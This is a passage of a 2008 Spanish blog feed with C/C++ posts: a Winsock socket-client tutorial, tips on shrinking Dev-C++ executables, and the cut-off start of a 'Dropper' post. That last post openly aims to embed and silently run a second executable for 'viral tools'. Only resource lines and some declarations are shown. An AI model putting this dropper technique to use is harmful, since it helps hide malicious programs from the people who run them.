		<description><![CDATA[Tutorial Programacion de Sockets en C por Octalh www.aztekmindz.org Antes que otra cosa aclarar que este texto se a escrito simplemente como un tutorial y no como una guía de sockets, si bien el tema es demasiado extenso me pareció bien adjuntar lo necesario para dar nuestros primeros pasos en la programación con sockets. Ya [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>Tutorial Programacion de Sockets en C<br />
por Octalh<br />
www.aztekmindz.org</strong></p>
<p>Antes que otra cosa aclarar que este texto se a escrito simplemente como un tutorial y no como una guía de sockets, si bien el tema es demasiado extenso me pareció bien adjuntar lo necesario para dar nuestros primeros pasos en la programación con sockets.<br />
Ya veras que no eran tan complicados como pensabas que eran.  <img src='http://aztekmindz.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Que es un socket.</strong></p>
<p>Un socket no es mas que una forma de comunicarce con otras computadoras utilizando un descriptor de fichero que la funcion socket() nos da, y posteriormente nos comunicamos con el para interactuar entre ambas computadoras usando send() y recv().</p>
<p><strong>Tipos de sockets.</strong></p>
<p>Existen principalmente dos tipos de sockets:</p>
<ul>
<li> SOCK_STREAM Sockets de Flujo</li>
<li> SOCK_DGRAM  Sockets de Datagramas</li>
</ul>
<p>Los sockets de Flujo establecen una conexión y son bastante seguros, ya que el protocolo que utilizan es TCP, y como bien saben TCP se encarga de que todo lo que se envía llegue en el mismo orden y sin errores.</p>
<p>Los sockets de Datagramas se caracterizan por utilizar el protocolo UDP, por lo que se pueden enviar paquetes sin necesidad de una conexión, es decir. No es necesaria una serie de saludos previos para garantizar que la conexión sea segura y no exista perdida de datos.</p>
<p>Quiere decir que puedes enviar una serie de paquetes y no se recibirá confirmación alguna si fue recibido o no.</p>
<p><strong>A Programar!!</strong></p>
<p>Bien ahora que ya tenemos un poco de teoría base procederemos a programar nuestro primer Cliente. Es decir será el programa que conecte al Servidor.</p>
<p>Como compilador para los ejemplos utilizaremos Dev-C++<br />
Requerimientos:<br />
Primero tenemos que hacer una referencia a la librería &lt;winsock2.h&gt; y configurar el Linker de nuestro Dev-C++ para que adjunte la librería libws2_32.a, para eso nos vamos a Project –- Project options –- Parameters y en la opcion Linker damos clic en “Add Library or Object” y seleccionamos libws2_32.a, después damos en OK y ya esta.</p>
<p><span style="color: #ff0000;">#include &lt;winsock2.h&gt; </span><br />
Referencia a la librería</p>
<p><span style="color: #ff0000;">WSADATA wsadata;</span><br />
Declaramos WSADATA. En Windows antes de poder tocar la librería winsock tenemos que declarar primero WSADATA.</p>
<p><span style="color: #ff0000;">struct hostent *host; </span><br />
Declaramos estructura &#8220;hostent&#8221; donde almacenaremos la IP que nos devuelva &#8220;gethostbyname&#8221;.</p>
<p><span style="color: #ff0000;">SOCKADDR_IN conexrem;</span><br />
Declaramos una estructura SOCKADDR_IN para no tener que definir una IP y un puerto en cada paquete que enviemos. De esa forma todo viajara encapsulado utilizando la estructura SOCKADDR_IN.</p>
<p><span style="color: #ff0000;">SOCKET locsock;</span><br />
Declaramos el descriptor de fichero que nos de el socket</p>
<p><span style="color: #ff0000;">int wasa = WSAStartup(MAKEWORD(2,0),&amp;wsadata);</span><br />
Indicamos versión 2.0 del socket</p>
<p><span style="color: #ff0000;">locsock = socket(AF_INET, SOCK_STREAM, 0);</span><br />
Indicamos que usaremos un socket Stream(TCP).</p>
<p><span style="color: #ff0000;">host=gethostbyname(&#8220;localhost&#8221;); </span><br />
Definimos Host con la IP que devuelva &#8220;gethostbyname&#8221; y resolvemos la dirección IP del Dominio &#8220;localhost&#8221;, con esto conseguimos traducir nombres de dominio sin utilizar una dirección IP directamente. (esta será la IP a donde nuestro Cliente conectara).</p>
<p><span style="color: #ff0000;">conexrem.sin_port = htons(9999);</span><br />
Definimos puerto (9999) del socket utilizando un &#8220;short de máquina a short de la red&#8221; (htons)<br />
Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket, mas información buscar en google &#8220;Big-Endian&#8221;.</p>
<p><span style="color: #ff0000;">conexrem.sin_addr = *((struct in_addr *)host-&gt;h_addr);</span><br />
Definimos la IP a donde conectaremos, como teníamos la dirección IP almacenada en &#8220;host&#8221; y la función solo admite &#8220;in_addr&#8221; para almacenar la IP en &#8220;h_addr&#8221;, tenemos que hacer un Casting de modo que &#8220;host&#8221; que es ahora un &#8220;in_addr&#8221; (debido a el casting (struct in_addr *) ) sea un puntero a &#8220;h_addr&#8221;.</p>
<p><span style="color: #ff0000;">conexrem.sin_family = AF_INET; </span><br />
Definimos la versión 4 de IP</p>
<p><span style="color: #ff0000;">memset(conexrem.sin_zero,0,8);</span><br />
Ponemos en 0 la cadena &#8220;sin_zero&#8221; en sus 8 espacios</p>
<p><span style="color: #ff0000;">connect(locsock, (sockaddr*)&amp;conexrem, sizeof(conexrem);</span><br />
Ahora procedemos a realizar la conexión con la IP remota que definimos en la estructura &#8220;conexrem.sin_addr&#8221; y el puerto definido en &#8220;conexrem.sin_port&#8221;. Dado que &#8220;connect&#8221; solo acepta &#8220;sockaddr&#8221; envés de nuestra estructura &#8220;SOCKADDR_IN&#8221; tenemos que realizar un casting para convertir &#8220;conexrem&#8221; en un &#8220;sockaddr&#8221;.<br />
Después medimos la longitud de la estructura con &#8220;sizeof.</p>
<p><span style="color: #ff0000;">char msj[] = &#8220;Hola Mundo desde www.aztekmindz.org&#8221;;</span><br />
Definimos el mensaje a enviar</p>
<p><span style="color: #ff0000;">send(locsock,msj,sizeof(msj),0); </span><br />
Enviamos mensaje<br />
Utilizamos la función &#8220;send&#8221; para enviar datos a través del descriptor de fichero &#8220;locsock&#8221; que nos dio el socket, después medimos la cantidad de caracteres a enviar en &#8220;msj&#8221; utilizando &#8220;sizeof&#8221;</p>
<p>Código del cliente.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span><br />
<span class="co2">#include &lt;winsock2.h&gt; // Referencia a la librería</span></p>
<p>using namespace std;</p>
<p>WSADATA wsadata; <span class="co1">//Declaramos WSADATA</span></p>
<p><span class="kw4">struct</span> hostent *host;<br />
<span class="co1">//Delcaramos estrucutra hostent donde almacenaremos la IP que nos devuelva gethostbyname</span></p>
<p>SOCKADDR_IN conexrem;<br />
<span class="coMULTI">/*Declaramos una estructura SOCKADDR_IN para no tener que definir una IP y un puerto<br />
en cada paquete que enviemos. De esa forma todo viajara encapsulado utilizando la estructura<br />
SOCKADDR_IN.<br />
*/</span></p>
<p>SOCKET locsock; <span class="co1">// Declaramos el descriptor de fichero que nos de el socket</span></p>
<p><span class="kw4">int</span> WSAInicio<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">//declaramos procedimiento</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw4">int</span> wasa = WSAStartup<span class="br0">&#40;</span>MAKEWORD<span class="br0">&#40;</span><span class="nu0">2</span>,<span class="nu0">0</span><span class="br0">&#41;</span>,&amp;amp;wsadata<span class="br0">&#41;</span>; <span class="co1">//Indicamos version 2.0 del socket</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>wasa != <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error iniciando WSAStartup <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> definirsocket<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;locsock = socket<span class="br0">&#40;</span>AF_INET<span class="coMULTI">/* IP V4 */</span>, SOCK_STREAM, <span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">// Indicamos que usaremos un socket Stream(TCP)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>locsock == INVALID_SOCKET<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error definiendo socket <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> estructsocket<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Definimos procedimiento</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;host=gethostbyname<span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Definimos Host con la IP que devuelva gethostbyname</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Resolvemos la direccion IP del Dominio localhost, con esto conseguimos traducir nombres de dominio<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sin utilizar direccion IP directamente.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Esta sera la IP a donde nuestro Cliente conectara.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;conexrem.<span class="me1">sin_port</span> = htons<span class="br0">&#40;</span><span class="nu0">9999</span><span class="br0">&#41;</span>; <span class="co1">//Ordenacion de Red.</span><br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/* &nbsp;Definimos puerto (9999) del socket utilizando un &quot;short de máquina a short de la red&quot; (htons)<br />
&nbsp; &nbsp; &nbsp;Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket<br />
&nbsp; &nbsp; &nbsp;Mas informacion buscar en google &quot;Big-Endian&quot;.<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;conexrem.<span class="me1">sin_addr</span> = *<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">struct</span> in_addr *<span class="br0">&#41;</span>host-&gt;h_addr<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Definimos la IP a donde conectaremos, como teniamos la direccion IP almacenada en &quot;host&quot;<br />
&nbsp; &nbsp; &nbsp;y la funcion solo admite &quot;in_addr&quot; para almacenar la IP en &quot;h_addr&quot; tenemos que hacer un Casting de modo que<br />
&nbsp; &nbsp; &nbsp;&quot;host&quot; que es ahora un &quot;in_addr&quot; (debido a el casting (struct in_addr *) ) sea un puntero a &quot;h_addr&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;conexrem.<span class="me1">sin_family</span> = AF_INET; <span class="co1">// Ordenacion de Maquina</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Definimos la version 4 de IP<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;memset<span class="br0">&#40;</span>conexrem.<span class="me1">sin_zero</span>,<span class="nu0">0</span>,<span class="nu0">8</span><span class="br0">&#41;</span>; <span class="co1">// Ponemos en 0 la cadena sin_zero en sus 8 espacios</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>connect<span class="br0">&#40;</span>locsock, <span class="br0">&#40;</span>sockaddr*<span class="br0">&#41;</span>&amp;amp;conexrem, <span class="kw4">sizeof</span><span class="br0">&#40;</span>conexrem<span class="br0">&#41;</span><span class="br0">&#41;</span> == SOCKET_ERROR<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existe un error&#8230;</span><br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Ahora procedemos a realizar la conexion con la IP remota que definimos en la estructura &quot;conexrem.sin_addr&quot;<br />
&nbsp; &nbsp; &nbsp;y el puerto definido en &quot;conexrem.sin_port&quot;. Dado que connect solo acepta &quot;sockaddr&quot; enves de nuestra<br />
&nbsp; &nbsp; &nbsp;estructura &quot;SOCKADDR_IN&quot; tenemos que realizar un casting para convertir &quot;conexrem&quot; en un &quot;sockaddr&quot;.<br />
&nbsp; &nbsp; &nbsp;Despues medimos la longitud de la estructura con &quot;sizeof&quot; y por ultimo verificamos si se produjo un error<br />
&nbsp; &nbsp; &nbsp;tratando de conectar ya que por ejemplo la direccion IP remota podria no existir o estar detras de un FireWall<br />
&nbsp; &nbsp; */</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error conectando al servidor remoto <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">// En caso de error mostramos msj</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span> &nbsp;<span class="kw1">else</span> <span class="co1">// De lo contrario&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Coneccion realizada con exito <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">// Mostramos msj</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> enviarmsj<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="kw4">char</span> msj<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="st0">&quot;Hola Mundo desde www.aztekmindz.org&quot;</span>; <span class="co1">// Definimos el mensaje a enviar</span><br />
&nbsp; &nbsp; &nbsp;send<span class="br0">&#40;</span>locsock,msj,<span class="kw4">sizeof</span><span class="br0">&#40;</span>msj<span class="br0">&#41;</span>,<span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">// Enviamos mensaje</span><br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Utilizamos la funcion &quot;send&quot; para enviar datos atraves del descriptor de fichero &quot;locsock&quot; que nos dio el socket<br />
&nbsp; &nbsp; &nbsp;Despues medimos la cantidad de caracteres a enviar en &quot;msj&quot; utilizando &quot;sizeof&quot;<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> sockets<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">// Procedimiento que iniciara el socket secuencialmente.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>WSAInicio<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio WSAInicio sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>definirsocket<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio definirsocket sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>estructsocket<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio estructsocket sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;enviarmsj<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Iniciamos el procedimiento &quot;enviarmsj&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> &nbsp;<span class="kw1">else</span> <span class="br0">&#123;</span> <span class="co1">// Si no conecto..</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sleep<span class="br0">&#40;</span><span class="nu0">500</span><span class="br0">&#41;</span>; <span class="co1">// Esperamos 500 Milisegundos y&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sockets<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Repetimos proceso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; sockets<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Iniciamos el Socket</span><br />
<span class="br0">&#125;</span></div>
<p>Bien hasta aquí termino esta primera parte, espero que te sea de gran utilidad y si compartes este manual por favor da la fuente de donde lo tomaste, para la próxima entrega programaremos el servidor <img src='http://aztekmindz.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  , por ahora tienes suficiente para entretenerte bastantes horas <img src='http://aztekmindz.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
octalh@gmail.com<br />
<a href="www.aztekmindz.org"> www.aztekmindz.org</a></p>
<p><a title="Fuentes y Compilado" href="http://www.aztekmindz.org/wp-content/uploads/2008/06/sockets_i.zip"><span style="color: #ff0000;">Descargar Projecto Fuentes y Compilado</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/06/24/tutorial-programacion-de-sockets-en-c-parte-i/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Reduciendo tamaño de ejecutables en Dev-C++</title>
		<link>http://aztekmindz.org/2008/06/17/reduciendo-tamano-de-ejecutables-en-dev-c/</link>
		<comments>http://aztekmindz.org/2008/06/17/reduciendo-tamano-de-ejecutables-en-dev-c/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 19:42:55 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[C \\ C++]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=14</guid>
		<description><![CDATA[Reduciendo el tamaño de tu aplicación by Octalh Ha decir verdad IDE’s como Dev-C++ no tienen nada que envidiarle a muchas otras como visual C++ de micro$oft, es una excelente interfaz de desarrollo, muy practica y bastante liviana. En esta ocasión quiero darles algunos consejos para reducir el tamaño de sus aplicaciones considerablemente. Aspectos a [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Reduciendo el tamaño de tu aplicación by Octalh</strong></p>
<p>Ha decir verdad IDE’s como Dev-C++ no tienen nada que envidiarle a muchas otras como visual C++ de micro$oft, es una excelente interfaz de desarrollo, muy practica y bastante liviana. En esta ocasión quiero darles algunos consejos para reducir el tamaño de sus aplicaciones considerablemente.</p>
<p>Aspectos a tomar en cuenta:</p>
<p>Siempre trata de utilizar lo menos posible el uso de librerías que no necesitas cuando puedes realizar lo mismo con otras mucho más pequeñas.</p>
<p>En este ejemplo realizaremos un Hola Mundo en C++ y reduciremos el tamaño de la aplicación.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;iostream.h&gt;</span></p>
<p>using namespace std;</p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;salu2 desde www.aztekmindz.org <span class="es0">\n</span> <span class="es0">\n</span>&quot;</span>;<br />
&nbsp; &nbsp; system<span class="br0">&#40;</span><span class="st0">&quot;PAUSE&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> EXIT_SUCCESS;<br />
<span class="br0">&#125;</span></div>
<p>Bien, ese es nuestro pequeño programa hola mundo que no hace mas que imprimir en pantalla nuestro mensaje &#8220;salu2 desde www.aztekmindz.org&#8221;.</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/1-rtda.jpg" alt="" width="340" height="197" /></div>
<p>Como pueden observar el tamaño de nuestro programa, a pesar de que lo único que hace es imprimir en pantalla una frase es de 464 KB.</p>
<p>Ahora  vamos a hacer  lo mismo pero utilizando otra función de otra librería consiguiendo el mismo efecto pero reduciendo bastante el tamaño.</p>
<p>Empezaremos cambiando &lt;iostream&gt; por &lt;stdio.h&gt;<br />
Y ahora cambiamos cout por printf.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span></p>
<p>using namespace std;</p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;salu2 desde www.aztekmindz.org <span class="es0">\n</span> <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; system<span class="br0">&#40;</span><span class="st0">&quot;PAUSE&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> EXIT_SUCCESS;<br />
<span class="br0">&#125;</span></div>
<p>Como pueden ver el resultado es exactamente el mismo pero reducimos el tamaño de 464 KB a solo 15.4 KB</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/2-rtda.jpg" alt="" /></div>
<p>hora si queremos reducir aun mas nuestro programa nos toca cambiar un poco la configuración del compilador.</p>
<p>Para eso nos vamos a Project &#8212; Project Options y nos vamos a la pestaña Compiler</p>
<p>Una ves estemos en la pestaña Compiler nos dirigimos a Linker y marcamos como YES la opción Strip Executable.</p>
<p>Ahora nos vamos a Optimization, desplegamos el menú y nos vamos a la opcion Further Optimizations y marcamos como YES la opcion Best optimizations.</p>
<p>Damos clic en OK y ahora compilamos nuestro proyecto.</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/3-rtda.jpg" alt="" /></div>
<p>Ahora como pueden ver reducimos el tamaño de 15.4 KB a 5.50 KB. En total logramos reducir una aplicación de 464 KB  a solo 5.50 KB</p>
<p>Con esto termino este pequeño manual espero que te sea de gran utilidad cualquier duda puedes enviar un correo a octalh@gmail.com</p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/06/17/reduciendo-tamano-de-ejecutables-en-dev-c/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dropper C++ \ Dev-C++</title>
		<link>http://aztekmindz.org/2008/06/17/dropper-c-devc/</link>
		<comments>http://aztekmindz.org/2008/06/17/dropper-c-devc/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 04:25:33 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[C \\ C++]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=12</guid>
		<description><![CDATA[Bueno antes de empezar a codear nuestras herramientas víricas o no víricas es necesario saber como portar recursos a nuestra aplicación, para que nos sirve?, principalmente nos va servir para dos cosas: Ejecutar un segundo programa al ejecutar nuestra aplicación sin que nadie lo note. Portar herramientas útiles o recursos dentro de nuestro programa. Bueno [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno antes de empezar a codear nuestras herramientas víricas o no víricas es necesario saber como portar recursos a nuestra aplicación, para que nos sirve?, principalmente nos va servir para dos cosas:</p>
<p>Ejecutar un segundo programa al ejecutar nuestra aplicación sin que nadie lo note.<br />
Portar herramientas útiles o recursos dentro de nuestro programa.</p>
<p>Bueno eso fue suficiente de teoría ahora manos a la obra.</p>
<p>Lo primero será crear un nuevo proyecto de consola en Dev C++</p>
<p>Nos vamos a:<br />
File &#8212; New &#8212; Resource File</p>
<p>Y nos creara un archivo.rc, ahora procedemos a escribir los archivos que necesitemos utilizar.</p>
<p>En el ejemplo introduciremos dentro de nuestro programa dos exe</p>
<p>binario RT_RCDATA &#8220;1.exe&#8221;<br />
binario2 RT_RCDATA &#8220;calc.exe&#8221;</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/1.jpg" alt="" /></div>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include</span><br />
<span class="co2">#include</span><br />
<span class="co2">#include</span><br />
<span class="coMULTI">/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; /*<br />
/* &nbsp; &nbsp;| [ Dropper 1.0 ] |<br />
/* &lt;&lt; www.aztekmindz.org &gt;&gt;<br />
/* &nbsp;- octalh@gmail.com &nbsp;-<br />
/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; /*<br />
/* Anti Script Kiddie<br />
*/</span><br />
using namespace std;</p>
<p><span class="kw4">void</span> extraer1<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HANDLE &nbsp;hbinario2; <span class="co1">//handle del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HRSRC hbinario; &nbsp;<span class="co1">// variable del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">void</span>* data; <span class="co1">//recurso</span></p>
